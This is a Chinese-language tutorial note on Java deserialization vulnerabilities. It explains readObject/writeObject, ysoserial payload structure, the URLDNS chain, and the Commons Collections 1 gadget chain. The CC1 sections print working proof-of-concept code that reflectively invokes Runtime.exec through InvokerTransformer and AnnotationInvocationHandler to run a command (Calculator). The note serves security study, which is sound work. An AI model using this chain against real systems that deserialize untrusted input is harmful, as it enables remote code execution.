基礎
Java 與 PHP 反序列化區別
Java 相對 PHP 序列化更深入的地方在於,其提供了更加高級、靈活地方法 writeObject ,允許開發者在序列化流中插入一些自定義數據,進而在反序列化的時候能夠使用 readObject 進行讀取。
當然,PHP中也提供了一個魔術方法叫 __wakeup ,在反序列化的時候進行觸發。很多人會認為Java的 readObject 和PHP的 __wakeup 類似,但其實不全對,雖然都是在反序列化的時候觸發,但他們解決的問題稍微有些差異:
readObject傾向於解決“反序列化時如何還原一個完整對象”的問題__wakeup更傾向於解決“反序列化後如何初始化這個對象”的問題
這個微小差異是 Java 的反序列化漏洞這麼多的本質原因。
Java反序列化的操作,很多是需要開發者深入參與的,所以你會發現大量的庫會實現 readObject writeObject 方法,這和PHP中 __wakeup __sleep 很少使用是存在鮮明對比的。
序列化 writeObject
寫個示例的 person 類:
import java.io.IOException;
public class Person implements java.io.Serializable {
public String name;
public int age;
Person(String name, int age) {
this.name = name;
this.age = age;
}
private void writeObject(ObjectOutputStream s) throws IOException {
// 1. 先调用默认序列化,处理所有非transient字段
s.defaultWriteObject();
// 2. 写入额外数据
s.writeObject("This is a object");
}
private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException {
s.defaultReadObject();
String message = (String) s.readObject();
System.out.println(message);
}
}
Serializable這個接口不包含方法,屬於標記接口,JVM 通過這個標記識別類是否可以序列化。write/readObject方法必須是 private,因為它們不應被外部代碼直接調用,而是由序列化機制調用,詳見後文。
ObjectOutputStream類
- OOS 是 Person 類中定義 writeObject 方法的參數,但
Person.writeObject不能被直接調用,需要通過 OOS 類調用。
Java 序列化需要由 ObjectOutputStream 調用 writeObject 方法,參數是需要被序列化的對象。
重點:序列化調用機制解析
當執行以下代碼:
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("object.dat"));
oos.writeObject(obj);
writeObject(obj)會檢查 obj 的類是否實現了Serializable接口。- 如果該類實現了
Serializable,Java 序列化機制會進一步檢查該類中是否定義了一個名為writeObject的方法,且方法簽名為:private void writeObject(ObjectOutputStream s) throws IOException - 如果存在這個方法,序列化機制會調用它,並傳入
ObjectOutputStream作為參數。 如果該方法不存在,Java 會使用默認的序列化邏輯(即直接序列化對象的所有非transient字段)。
再次強調:
writeObject不是普通的類的方法,不可以直接用类.方法的方式調用。oos.writeObject會自動找到並調用 Person 類自定義的那個writeObject方法
// wrong!: person.writeObject(oos);
oos.writeObject(person);
反序列化 readObject
調用 readObject 不需要參數,返回值是反序列得到的對象。
// 反序列化
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("person.dat"));
Person deserializedPerson = (Person) ois.readObject();
ois.close();
實戰
利用鏈
- Java 反序列化漏洞的難點不在於發現,而在於如何利用
為了完成最終的危險操作,實戰中的反序列化攻擊往往需要結合很多 serialize 接口,形成複雜的調用鏈,這一過程非常繁瑣。
著名 Java 反序列化利用工具 ysoserial 集成了很多利用鏈,可以直接使用。
java -jar ysoserial-all.jar
ysoserial 的 payloads
稍微解釋一下 ysoserial 源碼中的 payloads 文件夾,之後分析利用鏈會用到。
payloads 文件夾中每個文件就是一個 payload (一個公共類),每個 payload 類中都會定義一個getObject 方法,這個方法會返回一個對應 payload 的對象,該對象會在之後被 ysoserial 工具進一步處理,最終生成序列化的字節流。

另外,每個 payload 文件(比如後文調試了 URLDNS.java ),都會寫一個 main:

其中這個 PayloadRunner.run 會幹3件事:
- 調用
getObject - 生成序列化數據作為輸出的 payload
- 本地反序列化測試生成的 payload 是否有效
所以,可以單獨調試一個 payload.java 文件,來看這個 payload 實際反序列觸發利用的過程。
URLDNS 鏈
參數是一個 URL,結果是觸發⼀次 DNS 請求。
優點:
- 使⽤ Java 內置的類構造,對第三⽅庫沒有依賴
- 在⽬標沒有回顯的時候,能夠通過 DNS 請求得知是否存在反序列化漏洞
調用鏈
從第一個 readObject 的反序列化進入,順著函數中其他方法找下去,最終找到一個可能造成危害的函數進行注入利用。(建議直接看源碼分析)
* HashMap.readObject()
* HashMap.putVal()
* HashMap.hash()
* URL.hashCode()
源碼分析
從 ysoserial payloads 中的 URLDNS.java 一步步調試分析。
反序列化的入口點是 HashMap.readObject(),直接去看這個函數,其中 hash函數是關鍵的利用點,先打個斷點,開始調試:

- 注意,之前講到 payload 文件主函數的
PayloadRunner會幹三件事,這邊斷點攔截到的是第三件事:反序列化,反序列化一定會觸發readObject。
步入 hash :

步入 hashCode:

步入 handler.hashCode:

步入 getHostAddress:

最終找到 InetAddress.getByName(host) ,這個方法進行了 DNS 查詢操作。
單步執行之後可以在反連平臺看到 DNS 查詢:

URL 類的 hashCode 很簡單。如果 hashcode 不為 -1,則返回 hashcode。在序列化構造 payload 的時候,需要設置 hashcode 為 -1 的原因,就是防止進入到 hashcode 方法中,進而發送 DNS 請求,影響判斷。
Commons Collections 1
Transformer
什麼是 Transformer,可以用下面的例子理解:
public class TransformedMapExample {
public static void main(String[] args) {
// 原始 Map
Map<String, Integer> originalMap = new HashMap<>();
originalMap.put("keyone", 1);
originalMap.put("keytwo", 2);
// 定义键和值的转换器
Transformer<String, String> keyTransformer = input -> input.toUpperCase();
Transformer<Integer, Integer> valueTransformer = input -> input * 10;
// 创建 TransformedMap
Map<String, Integer> transformedMap = TransformedMap.decorate(originalMap, keyTransformer,
valueTransformer);
// 添加新元素,自动应用转换
transformedMap.put("keythree", 4);
// 输出转换后的 Map
System.out.println(transformedMap);
}
}
- 最後輸出轉換後的 map(transformedMap ),鍵變為大寫,值變為10倍。
Transformer 是一個接口,用於實現轉換器的功能,定義如下:
public interface Transformer {
public Object transform(Object input);
}
在例子中:
Transformer<String, String> keyTransformer = input -> input.toUpperCase();
使用 Lambda 表達式實現了 Transformer 這個函數式接口,實現了一個大寫轉換的功能。
- 注意,不是實例化,接口不能實例化(不能 new),可以實現
TransformedMap.decorate 方法用於修飾原來的map:
- 參數1是原始map
- 參數23是轉換方法,可以傳入單個方法 或者 鏈 或者 NULL
最後,使用 decorate 方法為原map的鍵和值加上兩個轉換器,得到一個 transformedMap。
最簡 CC1 demo
- from Phith0n
package com.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class Main {
public static void main(String[] args) {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
outerMap.put("test", "1234");
}
}
這裡有三個實現了 Transformer 接口的類:
ConstantTransformer:調用transform⽅法時,將傳入的對象(常量)返回。InvokerTransformer:執⾏任意⽅法ChainedTransformer:將內部的多個 Transformer串在⼀起,前⼀個回調返回的結果,作為後⼀個回調的參數傳⼊,形成一個依次執行很多 transform 方法的鏈子 。
用 ChainedTransformer 的實例作為轉換器,修飾原來的map,這樣當我們調用修飾過的map的 put 方法時,就可以觸發 ChainedTransformer 這個轉換器,執行鏈中一系列的 transform 方法之後,達到執行命令的目的。
真正的 CC1
AnnotationInvocationHandler
- Java 8u66,注意這一節的POC在8u71及之後的版本中無法復現
觸發CC1的核心在於向修飾過的map添加新元素,前面最簡demo中我們直接調用了put方法作為演示,但是實戰中一般沒有這個方法,在實際反序列化時,我們需要找到一個類,它在反序列化的readObject邏輯裡有類似的寫入操作,CC1中這個類是 AnnotationInvocationHandler。

- readObject 中有 setValue 方法
於是,我們可以接著上一節的最簡demo繼續寫:
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
Object obj = construct.newInstance(Retention.class, outerMap);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(obj);
oos.close();
NotSerializableException
但是運行之後,我們會發現:
Exception in thread "main" java.io.NotSerializableException: java.lang.Runtime
Runtime 類出現了 NotSerializableException 的錯誤,這是因為這個類本身沒有實現序列化接口java.io.Serializable 。
在 Java 中,不是所有對象都支持序列化,待序列化的對象和所有它使用的內部屬性對象,必須都實現了 java.io.Serializable 接口。
那麼如何繞過這個錯誤呢?我們可以通過反射來獲取 Runtime 對象,而不需要直接使用這個類,思路上來說,就是要避免 Runtime 類參與序列化的過程。
所以我們應該把 demo 中的 transformers 改成反射的形式:
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[] {"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, new String[] {"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),
};
但是仍然不行。
動態調試發現此處 var7 == NULL 從而跳過了 setvalue:

使得 var7 不為 NULL 有以下兩個條件:
- 構造函數的第一個參數必須是 Annotation 的子類,且其中必須含有至少一個方法,假設方法名是X
- 被 TransformedMap.decorate 修飾的Map中必須有一個鍵名為X的元素
而之前作為構造函數參數的 Retention 有一個方法,名為value;所以,為了再滿足第二個條件,需要給 Map 中放入一個 Key 是 value 的元素:

這樣就可以成功執行了。
高版本無法執行
在 Java 8u71及之後的版本中,AnnotationInvocationHandler 作了如下修改:

簡單來說,對 Map 的操作都是基於一個新的 LinkedHashMap 對象,而原來我們精心構造的 Map 不再執行 set 或 put 操作,也就不會觸發 RCE 了。
經典漏洞
- [[Shiro 反序列化漏洞]]
